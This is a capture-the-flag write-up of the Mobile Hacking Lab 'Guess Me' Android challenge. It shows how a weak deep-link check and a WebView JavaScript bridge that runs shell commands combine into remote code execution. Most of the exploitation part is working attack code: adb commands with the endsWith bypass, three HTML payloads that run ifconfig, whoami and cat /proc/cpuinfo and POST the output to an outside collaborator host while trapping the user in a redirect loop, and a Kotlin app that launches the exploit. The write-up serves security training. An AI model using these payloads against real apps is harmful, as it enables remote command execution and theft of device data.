Mobile Hacking Lab - Guess Me

Deep links are a great feature in mobile apps that let you handle custom URLs and give users a smoother experience when navigating the app. But if they’re not implemented properly, deep links can become a major security hole that allows hackers to remotely execute code on the app.

That’s exactly what the “Guess Me” challenge is all about. It’s an Android app that looks like a simple guessing game, but it has a vulnerability in how it handles deep links. And that vulnerability can be exploited to gain Remote Code Execution (RCE) on the app, giving an attacker full control.

You can access the challenge here: Mobile Hacking Lab - Guess Me

The Challenge Overview

The goal of this challenge is to analyze the deep link implementation in “Guess Me” and figure out how to craft a malicious deep link payload that lets you run arbitrary code within the app. Basically, you need to find a way to break into the app using the deep link flaw. Let’s go!

Discovery Phase

I fired up the “Guess Me” APK on my test device to get a feel for how this app works. Right off the bat, I noticed it’s a simple guessing game:

I spent a few minutes playing the game, and it was quite enjoyable not gonna lie. Successfully guessing the correct number on a few occasions was fun :D

Anyway, I noticed the little tab in the bottom right corner:

I clicked on it and instead of just opening a regular website or deeplink, the app fired up an embedded WebView component.

We can see a Thank you message, our time of visit and a link to Mobile Hacking Lab (BTW You definitely should check it out)

Clicking on the link brought me to the Mobile Hacking Lab website… As expected:

What better tool than Deeeeper to find Activites and Deep Links? Let’s run it:

Processing Activities:
com.mobilehackinglab.guessme.MainActivity (exported=true)
  android.intent.action.MAIN
com.mobilehackinglab.guessme.WebviewActivity (exported=true)
  android.intent.action.VIEW
  mhl://mobilehackinglab

Deeeeper result was very interesting. A WebviewActivity possesses the exported=true attribute, enabling it to process an intent action. This action initiates mhl://mobilehackinglab upon invocation.

Code Analysis

Time to analyze the code in jadx-gui

MyJavaScriptInterface

This code defines a class that interacts with JavaScript running in the WebView.

Method Definition
public final String getTime(String time) {

Defines a method named getTime that takes a String parameter named time and returns a String. This method is intended to be called from JavaScript with a command or script passed as the argument. Interesting…

Parameter Check
Intrinsics.checkNotNullParameter(time, "time");

This intrinsic function checks if the time parameter is null, throwing an exception if it is.

Command Execution
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});

Executes a shell command passed via the time parameter. Let’s make a note!

Reading Command Output
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();

Initializes a BufferedReader to read the output of the executed command and a StringBuilder to accumulate the output.

Output Processing Loop
while (true) {
    String it = reader.readLine();
    if (it != null) {
        output.append(it).append("\n");
    } else {
        reader.close();
        ...
        return StringsKt.trim((CharSequence) sb).toString();
    }
}

Reads each line of the command’s output until there are no more lines, appending each line to output. Once all lines are read, it closes the reader, trims the output string to remove leading and trailing whitespace, and returns it.

Exception Handling
} catch (Exception e) {
    return "Error getting time and listing files";
}

Catches any exceptions that occur during the execution of the command, returning an error message.

Quite interesting especially the command execution using the time param.

Let’s continue the analysis…

WebviewActivity

There’s quite a bit to go over, but I’ll make it quick and straightforward.

Initializing WebView
View findViewById = findViewById(R.id.webView);
this.webView = (WebView) findViewById;

Finds the WebView component from the layout and assigns it to the webView variable.

Enabling JavaScript
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);

Obtains the WebSettings object for the webView and enables JavaScript execution within the WebView.

Adding JavaScript Interface
webView.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");

Adds a JavaScript interface to the WebView for interacting with web content. This interface is named “AndroidBridge” and is from the class MyJavaScriptInterface that we saw earlier!

Setting WebView Client
webView.setWebViewClient(new WebViewClient());

Sets a WebViewClient for the webView, allowing more control over loading web pages and handling URL redirections.

Setting WebChromeClient
webView.setWebChromeClient(new WebChromeClient());

Sets a WebChromeClient to handle JavaScript dialogs, etc. It’s another way to interact with web content.

Loading Content
loadAssetIndex();
handleDeepLink(getIntent());

Initially loads a local web page from the assets directory and handles any deep links passed via the intent that started the activity.

Handling New Intent
@Override
public void onNewIntent(Intent intent) {
    super.onNewIntent(intent);
    handleDeepLink(intent);
}

Overrides the onNewIntent method to handle new intents received by the activity to process deep links.

private final void handleDeepLink(Intent intent) {

This method extracts the URI from the intent and decides whether to load a deep link or the default asset index based on the URI’s validity.

private final boolean isValidDeepLink(Uri uri) {
    if ((Intrinsics.areEqual(uri.getScheme(), "mhl") || Intrinsics.areEqual(uri.getScheme(), "https")) 
        && Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
        
        String queryParameter = uri.getQueryParameter("url");
        return queryParameter != null 
            && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
    }
    return false;
}

Let’s focus on this method:

  • This method takes a Uri object as its parameter and returns a boolean value.
  • The method first checks the scheme of the URI. It uses Intrinsics.areEqual to compare the URI’s scheme against “mhl” and “https”. If the URI’s scheme is either “mhl” or “https”, the condition evaluates to true.
  • Then, it checks if the URI’s host is “mobilehackinglab”. Again, it uses Intrinsics.areEqual for comparison.
  • The && operator ensures both the scheme and host validations must pass for the condition to be true.
  • If the URI passes the scheme and host validation, the method proceeds to validate a specific query parameter named “url.
  • It retrieves the value of the “url” query parameter. If this parameter is not present, uri.getQueryParameter("url") will return null.
  • The validation then checks whether the query parameter’s value ends with “mobilehackinglab.com” using the StringsKt.endsWith$default function. The parameters false, 2, (Object) null are default values for optional parameters in the endsWith method, controlling case sensitivity and allowing for additional internal parameters used for interoperability and default argument handling.
  • If the query parameter exists and its value ends with “mobilehackinglab.com”, the method returns true, indicating a valid deep link. :) :)
  • If the URI does not meet the criteria (either the scheme and host are not as expected, or the “url” query parameter does not end with “mobilehackinglab.com”), the method returns false, indicating the deep link is not valid. :(

That’s a lot of checks!

So the app implemented a custom method to validate incoming deep links before processing them. This validation logic performed a series of checks on the URI to ensure it met certain criteria.

First, it verified that the URI scheme was either “mhl” or “https” - no other schemes were allowed. Then, it confirmed that the URI host matched “mobilehackinglab” exactly.

But the real kicker was the query parameter check. The method expected the “url” query param to contain a value that ended with the domain “mobilehackinglab.com”.

Only if all these conditions were satisfied would the deep link be considered valid and allowed to be processed further.

Based on this validation logic, crafting a legitimate deep link required chaining together the different components:

  1. The scheme had to be “mhl” or “https
  2. Followed by the host “mobilehackinglab
  3. And a query param “url” with a value ending in “mobilehackinglab.com

Putting it all together, a valid deep link following this format might look something like:

mhl://mobilehackinglab?url=https://evildomain/mobilehackinglab.com

Let’s continue the analysis…

private final void loadDeepLink(Uri uri) {

If a deep link is valid, this method loads the specified URL into the webView.

Loading Local Assets
private final void loadAssetIndex() {

Loads the “index.html” file from the application’s assets directory into the webView.

MyJavaScriptInterface Class
public final String getTime(String Time) {
    Intrinsics.checkNotNullParameter(Time, "Time");
    try {
        Process process = Runtime.getRuntime().exec(Time);
        InputStream inputStream = process.getInputStream();
        Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
        
        InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
        BufferedReader reader = inputStreamReader instanceof BufferedReader
                                ? (BufferedReader) inputStreamReader
                                : new BufferedReader(inputStreamReader, 8192);
        
        String readText = TextStreamsKt.readText(reader);
        reader.close();
        return readText;
    } catch (Exception e) {
        return "Error getting time";
    }
}

Let’s go over this very interesting method:

  • Creates a Process by executing the command contained in the Time string. The Runtime.getRuntime().exec() method is used to execute system commands.
  • Class that defines methods accessible from JavaScript running within the WebView. It includes methods for loading the URL (loadWebsite) and executing a command (getTime).

First up is the getTime() method. This one is executing some system command stored in the Time string using Runtime.getRuntime().exec(). Right away, that’s ringing some alarm bells - blindly executing system commands is a huge no-no from a security standpoint.

But it gets better. We’ve also got a WebViewClient class that’s exposing methods like loadWebsite() and getTime() to JavaScript code running within the WebView component. Essentially, it’s providing a bridge for JavaScript to interact with the app’s Java code.

With a setup like this, I can already see a potential path to remote code execution. If I can somehow manage to inject malicious JavaScript into the WebView, I could leverage that getTime() method to execute arbitrary commands on the device.

The loadWebsite() method could also potentially be abused, depending on how it’s validating and loading URLs. Maybe I can find a way to load a malicious URL that kicks off the exploit chain…

Exploitation

As we know, the deep link needs to be call in a way that the application will accept. This is done via the code we just analyzed.

Let’s call the deep link via adb and see what it does, I specified the index.html file located in assets directory:

adb shell am start -W -a android.intent.action.VIEW -d "mhl://mobilehackinglab/?url=mobilehackinglab.com/index.html" com.mobilehackinglab.guessme

It’s loading the index.html file!

Let’s open the index.html file to see what it contains….

I opened the .html file in Sublime…

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("date");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>

This is perfect to craft our exploit!

We can control the AndroidBridge.getTime value because it’s running:

Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time}); from the code we analyzed earlier:

webView.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");

Let’s start a local server and forward the address with Ngrok.

We can copy the index.html in htdocs folder. Open the index.html file in a text editor and change the value of time to whoami, save it:

var result = AndroidBridge.getTime("whoami");

With the first part mhl://mobilehackinglab provided, I now had to figure out how to sneak a malicious payload into that trailing “url” query param value.

The validation method was trying its best to whitelist and sanity check the deep links. But I knew there were always ways to bypass these types of checks if you thought outside the box.

Let’s call the file with adb. The command will be a little bit different. We have to call our URL but it needs to finish with mobilehackinglab.com. We can bypass this way:

adb shell am start -W -a android.intent.action.VIEW -d "mhl://mobilehackinglab/?url=https://0xalmighty.ngrok.io/index.html?mobilehackinglab.com" com.mobilehackinglab.guessme

We see the app fetching the file in Ngrok log:

It worked! The application display the current user:

The Endless Loop

Alright, time to take this exploit to the next level. I wanted to create a payload that would keep the victim trapped in a never-ending loop of misery until they had no choice but to close the app entirely.

To achieve this diabolical plan, I crafted 3 separate HTML files and dropped them into the htdocs directory of my testing environment.

  1. evil.html
  2. evil2.html
  3. evil3.html

The first file, evil.html, would serve as the initial entry point for the attack. This page would load up some malicious JavaScript that would kick off the endless loop shenanigans. From there, it would display the result of ifconfig and send the output to my Burp Collaborator, the page display a link that the victim will click to be redirected to evil2.html, which would instantly display the output of the whoami command, sending the output to my Burp Collabo, another link is displayed to bounce them over to evil3.html. And then evil3.html would display the content of the cpuinfo file and send the output to my Burp Collabo, the link displayed will loop them right back to evil.html, restarting the cycle all over again. The only way to stop the madness would be to force quit the app entirely.

evil.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <a href="#" onclick="loadWebsite()">Click here to regain control</a>
    <br><br>
</head>
<body>
    <p id="result">Hacked by 0xAlmighty</p>
    <script>
        function loadWebsite() {
            window.location.href = "https://0xalmighty.ngrok.io/evil2.html";
        }

        var exploit1 = AndroidBridge.getTime("ifconfig");
        var lines = exploit1.split('\n');
        var timeVisited = lines[0];
        var fullMessage = "You got hacked by 0xAlmighty :( \n\n I control your device \n\nProof:\n\n " + exploit1;
        document.getElementById('result').innerText = fullMessage;

        sendOutputToServer(exploit1, "https://l0m5v0qzr6wmmshgay8xscdnler5fw3l.oastify.com");

        function sendOutputToServer(output, serverUrl) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", serverUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
                    console.log("Output sent successfully");
                } else {
                    console.error("Failed to send output")
                }
            };
            xhr.send("output=" + encodeURIComponent(output));
        }
    </script>
</body>
</html>

For the initial evil.html file, I decided to keep things simple but devious. This would be the first page loaded into the vulnerable WebView, so I wanted to kick things off with a bang.

First, I injected some JavaScript that would execute the ifconfig command using the exposed getTime() method we discovered earlier. This would immediately dump the network configuration details on the page and send the output to my Collaborator, giving me a glimpse into the victim’s network setup.

evil2.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <a href="#" onclick="loadWebsite()">You have to click again here</a>
    <br><br>
</head>
<body>
    <p id="result">Hacked by 0xAlmighty</p>
    <script>
        function loadWebsite() {
            window.location.href = "https://0xalmighty.ngrok.io/evil3.html";
        }

        var exploit2 = AndroidBridge.getTime("whoami");
        var lines = exploit2.split('\n');
        var timeVisited = lines[0];
        var fullMessage = "You got hacked by 0xAlmighty :( \n\n I still control your device \n\nProof:\n\n " + exploit2;
        document.getElementById('result').innerText = fullMessage;

        sendOutputToServer(exploit2, "https://l0m5v0qzr6wmmshgay8xscdnler5fw3l.oastify.com");

        function sendOutputToServer(output, serverUrl) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", serverUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
                    console.log("Output sent successfully");
                } else {
                    console.error("Failed to send output")
                }
            };
            xhr.send("output=" + encodeURIComponent(output));
        }
    </script>
</body>
</html>

As soon as evil2.html loaded into the WebView, it kicked things off by executing the whoami command using that exposed getTime() method. This would reveal the current user name.

evil3.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <a href="#" onclick="loadWebsite()">Exit</a>
    <br><br>
</head>
<body>  
    <p id="result">Hacked by 0xAlmighty</p>
    <script>
        function loadWebsite() {
            window.location.href = "https://0xalmighty.ngrok.io/evil.html";
        }

        var exploit3 = AndroidBridge.getTime("cat /proc/cpuinfo");
        var lines = exploit3.split('\n');
        var timeVisited = lines[0];
        var fullMessage = "You got hacked by 0xAlmighty :( \n\n I will always control your device!!!!!!!! \n\nProof:\n\n " + exploit3;
        document.getElementById('result').innerText = fullMessage;

        sendOutputToServer(exploit3, "https://l0m5v0qzr6wmmshgay8xscdnler5fw3l.oastify.com");
        
        function sendOutputToServer(output, serverUrl) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", serverUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === XMLHttpRequest.DONE) {
                    if (xhr.status === 200) {
                        console.log("Output sent successfully");
                    } else {
                        console.error("Failed to send output");
                    }
                    alert("I OWN YOUR DATA!!!!");
                }   
            };
            xhr.send("output=" + encodeURIComponent(output));
        }
    </script>
</body>
</html>

Now, evil3.html loads, it immediately trigger the cat /proc/cpuinfo command via the exposed getTime() method. This allowed me to capture detailed information about the CPU and system specs of the victim’s device. It also trigger an alert box because why not?

It also contain the component of my redirect trap - an “Exit” link to look like the victim’s way out of this nightmarish cycle. As soon as the exhausted victim frantically smashed that “Exit” link, they’d be promptly redirected back to the very first stage - evil.html.

Let’s build an app to make the whole thing more fun!

The Endless Loop App

Package and Imports

package com.guessme.poc

import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
  • Define the package name: com.guessme.poc.
  • Imports necessary Android classes for handling intents, URI, UI components (like Toast), and activity support.

Class Declaration

class MainActivity : AppCompatActivity() {
  • Declares a class MainActivity that extends AppCompatActivity, a base class for activities that use the support library action bar features.

Overriding onCreate

override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    ...
}
  • Overrides the onCreate method of AppCompatActivity, which is called when the activity is starting. This is where the initial setup is done, such as creating the views.
  • savedInstanceState is a Bundle that contains the state of the activity. If the activity is being re-initialized after previously being shut down, this Bundle contains the data it most recently supplied in onSaveInstanceState(Bundle). Otherwise, it is null.
val deepLinkUri = "mhl://mobilehackinglab/?url=https://0xalmighty.ngrok.io/evil.html?mobilehackinglab.com"
val targetAppPackageName = "com.mobilehackinglab.guessme"
launchDeepLinkWithSpecificApp(deepLinkUri, targetAppPackageName)
  • The URI that represents the deep link we intend to navigate to through the scheme mhl://.
  • Specifies the package name com.mobilehackinglab.guessme that should handle the deep link.
  • Calls a custom method launchDeepLinkWithSpecificApp with the deep link URI and the package name of the target application.

launchDeepLinkWithSpecificApp Method

private fun launchDeepLinkWithSpecificApp(deepLinkUri: String, packageName: String) {
    val intent = Intent(Intent.ACTION_VIEW).apply {
        data = Uri.parse(deepLinkUri)
        setPackage(packageName)
    }
    safelyStartActivity(intent)
}
  • Creates an intent with the action Intent.ACTION_VIEW, which indicates that the intent is to view the data specified in the intent.
  • Sets the data of the intent to the parsed URI of the deep link.
  • Specifies that this intent should only be handled by an application with the given package name.
  • Calls a custom method safelyStartActivity to attempt to start an activity with the created intent.

safelyStartActivity Method

private fun safelyStartActivity(intent: Intent) {
    try {
        startActivity(intent)
    } catch (e: Exception) {
        e.printStackTrace()
        Toast.makeText(this, "App not installed or cannot handle this action.", Toast.LENGTH_LONG).show()
    }
}
  • Attempts to start the activity with the intent inside a try-catch block to handle any exceptions that might occur.
  • If an exception occurs, it logs the stack trace and shows a Toast message to the victim indicating that the app is not installed or cannot handle the action.

Full Code

package com.guessme.poc

import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        val deepLinkUri = "mhl://mobilehackinglab/?url=https://0xalmighty.ngrok.io/evil.html?mobilehackinglab.com"
        val targetAppPackageName = "com.mobilehackinglab.guessme"
        launchDeepLinkWithSpecificApp(deepLinkUri, targetAppPackageName)
    }

    private fun launchDeepLinkWithSpecificApp(deepLinkUri: String, packageName: String) {
        val intent = Intent(Intent.ACTION_VIEW).apply {
            data = Uri.parse(deepLinkUri)
            setPackage(packageName)
        }
        safelyStartActivity(intent)
    }

    private fun safelyStartActivity(intent: Intent) {
        try {
            startActivity(intent)
        } catch (e: Exception) {
            e.printStackTrace()
            Toast.makeText(this, "App not installed or cannot handle this action.", Toast.LENGTH_LONG).show()
        }
    }
}

The only thing we have to do is to start the local server, Ngrok and launch the malicious app!

PoC Video

Instead of taking thousand of screenshots, I recorded this short video display how the exploit worked

Conclusion

Another amazing challenge by Mobile Hacking Lab!

The “Guess Me” challenge serves as a reminder of the severe consequences that can arise from improper deep link implementation in mobile applications. What seemed like a harmless guessing game app harbored a critical vulnerability that allowed attackers to achieve remote code execution and take complete control of the device.

Deep links, while providing a seamless user experience, can become a double-edged sword if not handled with utmost care and security in mind. The “Guess Me” app fell victim to this pitfall, exposing a deep link vulnerability that could be exploited to inject malicious payloads and execute arbitrary code within the app’s context.

This challenge highlights the importance of secure coding practices, thorough input validation, and a defense-in-depth approach when implementing deep link functionality. Developers must treat deep links as potential attack vectors and implement robust security measures to prevent unauthorized access and code execution.

On to the next challenge :)